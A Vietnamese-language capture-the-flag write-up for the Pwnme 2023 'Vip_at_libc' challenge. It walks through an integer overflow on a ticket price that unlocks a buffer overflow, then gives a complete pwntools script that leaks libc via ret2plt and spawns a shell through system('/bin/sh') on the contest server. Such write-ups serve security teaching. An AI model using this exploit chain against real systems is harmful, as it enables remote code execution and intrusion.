🚔Vip_at_libc (Pwnme 2023)

Integer Overflow + Ret2PLT

Challenge:

checksec:

Pseudocode:

undefined8 main(void)

{
  size_t sVar1;
  char buffer [16];
  uint money;
  uint uStack_14;
  init_buffer();
  
  money = 10;
  uStack_14 = uStack_14 & 0xffffff00;
  puts("Hi! Welcome to our online game streaming. I see you don\'t have an account? Please create one .");
  printf("Your username: ");
  fgets(buffer,16,stdin);
  sVar1 = strcspn(buffer,"\n");
  buffer[sVar1] = '\0';
  printf("\nWelcome %s! By default your money is %d$.\n",buffer,(ulong)money);
  puts("For now, we unfortunately do not accept any money transfer on an account.");
  puts("However, in the future you\'ll be able to buy a VIP ticket for 100 000$. So we will accept a  money transfer.");
  menu();
  return 0;
}

Sau một hồi tìm kiếm, tôi biết được lỗ hổng Buffer OverFlow nằm ở hàm access_lounge nhưng có 1 điều là khi menu in ra thì nó không hề xuất hiện case thứ 4 như ở hàm menu:

Mà cái này cần có 1 điều kiện để nó được in ra. Đó là: money._4_1 != '\0'.Nó tương đương với:

Đoạn này chính là điều kiện để in ra case thứ 4:

Set breakpoint tại đây.

Làm lại

Thực ra sau một hồi thì mình phát hiện hướng đi ban đầu của mình hơi cố chấp khi không phân tích những hàm khác trong khi lỗi đó nhỏ xíu nằm trong hàm này:

Và tôi đã chú ý vào những phần này:

Ban đầu tôi nghĩ là lỗi nằm ở game [4] nhưng không khi tôi thử thì thấy nó ở phần cost. Và bạn đoán được lỗi đó là gì không. Đó là Integer OverFlow. Hmmm có khá nhiều lí do để tôi thay đổi hướng như vậy. Bạn hãy trải nghiệm rồi nhận ra điều đó.

Và bây giờ case 4 nó sẽ hiện ra khi mua vé VIP:

Chọn option 4 thì ta sẽ có 1 lỗi nữa là Buffer Overflow:

Như vậy tất cả mọi thứ gần như xong. Phần còn lại là leak ra address of libc thông qua ret2plt. Rồi sau đó chiếm shell của server.

Payload

exploit.py
from pwn import *

elf = context.binary = ELF("./vip_at_libc")
libc = ELF("./libc.so.6")
r = process()
r = remote("51.254.39.184",1335)
#gdb.attach(r ,api = True)
payload = b"PhamTrungKien"
r.sendlineafter(b"Your username: ", payload)
# Integer OverFlow Money
r.sendlineafter(b">", str(2))
r.sendlineafter(b"Which one do you want ?", str(1))
r.sendlineafter(b"How many do you want ?", str(11111111111111111))
# Access option 4
r.sendlineafter(b"0) exit", str(3))
r.sendlineafter(b"Do you want to buy it ? (1 = yes)" , str(1))
r.sendlineafter(b"4) Get access to the lounge of your choice", str(4))
# Buffer OverFlow + Ret2PLT
pop_rdi = 0x0000000000401186
ret = pop_rdi + 1
payload = flat(
    'a' * 24,  #padding
    pop_rdi,
    elf.got['puts'],
    elf.plt['puts'],
    elf.sym['access_lounge']
)
r.sendline(payload)
r.recvuntil(b"You can access it whenever you want.\n\n\n")

puts_leak = u64(r.recv(6).ljust(8, b'\0'))
libc.address = (puts_leak - libc.sym["puts"])
log.success(f"LIBC ADDR: {hex(libc.address)}")

payload = flat(b"A" * 24,ret, pop_rdi, next(libc.search(b"/bin/sh")), libc.sym["system"])
r.sendline(payload)
r.interactive()

Last updated